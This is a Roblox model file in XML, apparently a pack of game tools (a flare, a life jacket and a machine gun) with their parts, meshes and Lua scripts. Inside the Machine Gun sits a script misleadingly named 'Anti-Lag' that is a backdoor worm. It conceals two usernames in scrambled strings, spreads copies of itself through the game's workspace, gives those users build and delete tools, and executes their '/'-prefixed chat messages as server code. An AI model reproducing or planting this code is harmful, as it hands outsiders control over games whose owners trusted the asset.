							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">SoundJack</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Decal" referent="RBX5495">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">3</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=3214631</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX5496">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-5.01693058</X>
						<Y>3761.51685</Y>
						<Z>22.896101</Z>
						<R00>0.722767651</R00>
						<R01>-0.151951373</R01>
						<R02>0.67417717</R02>
						<R10>0.684948027</R10>
						<R11>0.0277403593</R11>
						<R12>-0.728061974</R12>
						<R20>0.0919291079</R20>
						<R21>0.987997532</R21>
						<R22>0.124129519</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.0760187507</X>
						<Y>-0.23714003</Y>
						<Z>-0.0408286937</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.352745652</X>
						<Y>0.349902064</Y>
						<Z>0.442324042</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>3</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5497">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">0</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.125</X>
							<Y>0.916666687</Y>
							<Z>0.125</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5498">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">SoundJack</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
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						<string name="Name">Weld</string>
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					</Properties>
				</Item>
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					</Properties>
				</Item>
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				</Item>
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						<string name="Name">Weld</string>
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					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5592">
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						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
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					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5593">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
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							<Y>0</Y>
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						<string name="Name">Weld</string>
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					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5594">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
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							<Y>0</Y>
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						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5595">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
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							<Y>0</Y>
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						</CoordinateFrame>
						<CoordinateFrame name="C1">
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						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5596">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
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							<Y>0</Y>
							<Z>0</Z>
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						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
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						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">null</Ref>
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					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX5597">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
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					<token name="BackSurface">0</token>
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					<CoordinateFrame name="CFrame">
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						<Y>3761.46411</Y>
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					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
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					<float name="Friction">0.300000012</float>
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					<float name="LeftParamB">0.5</float>
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					<bool name="Locked">false</bool>
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					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
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					<Vector3 name="RotVelocity">
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						<Y>-0.23714003</Y>
						<Z>-0.0408286937</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
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					<token name="TopSurface">0</token>
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					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
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					</Vector3>
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					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5598">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">0</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.125</X>
							<Y>1.1875</Y>
							<Z>0.125</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5599">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
	local W = Instance.new(&quot;Weld&quot;)
	W.Part0 = x
	W.Part1 = y
	local CJ = CFrame.new(x.Position)
	local C0 = x.CFrame:inverse()*CJ
	local C1 = y.CFrame:inverse()*CJ
	W.C0 = C0
	W.C1 = C1
	W.Parent = x
end

function Get(A)
	if A.className == &quot;Part&quot; then
		Weld(script.Parent.Handle, A)
		A.Anchored = false
	else
		local C = A:GetChildren()
		for i=1, #C do
		Get(C[i])
		end
	end
end

function Finale()
	Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Weld" referent="RBX5600">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">SoundJack</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5601">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Flare</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Part" referent="RBX5602">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>241.5</X>
						<Y>2.80000019</Y>
						<Z>2.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">1040</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2.4000001</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="CylinderMesh" referent="RBX5603">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.5</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Smoke" referent="RBX5604">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4278229248</Color3>
						<bool name="Enabled">true</bool>
						<string name="Name">Smoke</string>
						<float name="opacity_xml">0.600000024</float>
						<float name="riseVelocity_xml">2</float>
						<float name="size_xml">2</float>
					</Properties>
				</Item>
				<Item class="Smoke" referent="RBX5605">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4284874854</Color3>
						<bool name="Enabled">true</bool>
						<string name="Name">Smoke</string>
						<float name="opacity_xml">0.5</float>
						<float name="riseVelocity_xml">1</float>
						<float name="size_xml">1</float>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5606">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>1.5</X>
					<Y>0.5</Y>
					<Z>-1.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Life Jacket</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Part" referent="RBX5607">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">106</int>
					<CoordinateFrame name="CFrame">
						<X>50.0295868</X>
						<Y>1.47907424</Y>
						<Z>32.9704132</Z>
						<R00>-0.456762075</R00>
						<R01>0.0767801106</R01>
						<R02>-0.886269391</R02>
						<R10>0.068310976</R10>
						<R11>0.996353984</R11>
						<R12>0.0511112325</R12>
						<R20>0.886962354</R20>
						<R21>-0.0371962599</R21>
						<R22>-0.460341573</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1.08609021e-017</X>
						<Y>1.08609005e-017</Y>
						<Z>1.08609021e-017</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>2.26104543e-017</X>
						<Y>0.0105128828</Y>
						<Z>2.26104543e-017</Z>
					</Vector3>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>2</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="BodyPosition" referent="RBX5608">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="D">1250</float>
						<string name="Name">BodyPosition</string>
						<float name="P">10000</float>
						<Vector3 name="maxForce">
							<X>0</X>
							<Y>1000000</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="position">
							<X>0</X>
							<Y>1.5</Y>
							<Z>0</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5609">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=18257285</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset/?id=32047034</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5610">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PUT THIS SCRIPT IN THE TOOL</string>
					<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5611">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Machine Gun</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Sound" referent="RBX5612">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Looped">false</bool>
					<string name="Name">Melee</string>
					<float name="Pitch">1</float>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">1</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5613">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BrickCleanup</string>
					<ProtectedString name="Source">-- this script removes its parent from the workspace after 24 seconds

wait(1)
script.Parent.Parent = nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="SpecialMesh" referent="RBX5614">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">3</token>
					<string name="Name">Bullet</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>0.150000006</X>
						<Y>0.150000006</Y>
						<Z>0.150000006</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="RotateP" referent="RBX5615">
				<Properties>
					<bool name="Archivable">true</bool>
					<float name="BaseAngle">0</float>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">rnitro</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
				</Properties>
				<Item class="Script" referent="RBX5616">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Anti-Lag</string>
						<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5617">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Paintball</string>
					<ProtectedString name="Source">ball = script.Parent
damage = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999



function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	

	if humanoid ~= nil then
		local char = game.Players:playerFromCharacter(humanoid.Parent)
		if char ~= nil then 
		if char.TeamColor == ball.TeamColor.Value and char.Neutral ~= true then return end
		tagHumanoid(humanoid)
		humanoid:TakeDamage(damage)
		wait(2)
		untagHumanoid(humanoid)
		else
		tagHumanoid(humanoid)
		humanoid:TakeDamage(damage)
		wait(2)
		untagHumanoid(humanoid)
		end
	end

	connection:disconnect()
	ball.Parent = nil

end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild(&quot;creator&quot;)
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(1)
ball.Parent = nil
</ProtectedString>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX5618">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Spread</string>
					<double name="Value">10</double>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5619">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PaintballShooter</string>
					<ProtectedString name="Source">Tool = script.Parent

local sprd = script.Parent.Spread

local firing = false

colors = {26}


function fire(v)

if (script.Parent.AmmoScript.Clip.Value == 0) then return 
	end 
	script.Parent.AmmoScript.Clip.Value = script.Parent.AmmoScript.Clip.Value - 1
	print(Ammo)

firing = true

	Tool.Handle.Fire:play()
	Tool.Parent.Torso:findFirstChild(&quot;Right Shoulder&quot;).CurrentAngle = 1.5

	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local missile = Instance.new(&quot;Part&quot;)

        

	local spawnPos = vCharacter.PrimaryPart.Position
	


	spawnPos  = spawnPos + (v * 8)

	missile.Position = spawnPos
	missile.Size = Vector3.new(0.2,0.2,0.2)
	missile.Velocity = v * 600 + Vector3.new(math.random(-sprd.Value, sprd.Value),math.random(-sprd.Value, sprd.Value),math.random(-sprd.Value, sprd.Value))
	missile.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
	missile.Shape = 1
	missile.BottomSurface = 0
	missile.TopSurface = 0
	missile.Name = &quot;Paintball&quot;
	missile.Elasticity = 0
	missile.Reflectance = 0
	missile.Friction = 1

local tc = Instance.new(&quot;BrickColorValue&quot;)
	tc.Value = vPlayer.TeamColor
	tc.Name = &quot;TeamColor&quot;
	tc.Parent = missile

	local force = Instance.new(&quot;BodyForce&quot;)
	force.force = Vector3.new(0,220,0)
	force.Parent = missile
	
	Tool.BrickCleanup:clone().Parent = missile

local new_mesh = script.Parent.Bullet:clone()
	new_mesh.Parent = missile

	local new_script = script.Parent.Paintball:clone()
	new_script.Disabled = false
	new_script.Parent = missile

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)
	creator_tag.Value = vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	


	missile.Parent = game.Workspace
	--wait(0.15)
	--fire(
	

end


function check(en)
---------------------------------------Function start here.
if (Tool.Enabled == false) then
return false
end--end for if!
-------------------------------
if (Tool.Enabled == true) then
return true
end
---------------------------------------Function end here.
end


Tool.Enabled = true
function onActivated()

	if not Tool.Enabled then
		return
	end

	--Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit
	
	if (check()) then
	fire(lookAt)
	wait(0.1)
	onActivated()
        firing = false
	end
	return

	--Tool.Enabled = true
end


function Spread()
	if firing == true then
		sprd.Value = sprd.Value + 0.4
	elseif firing ~= true then
		sprd.Value = 10
	end
end


script.Parent.Activated:connect(onActivated)

while true do
	wait()
	Spread()
end 
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5620">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
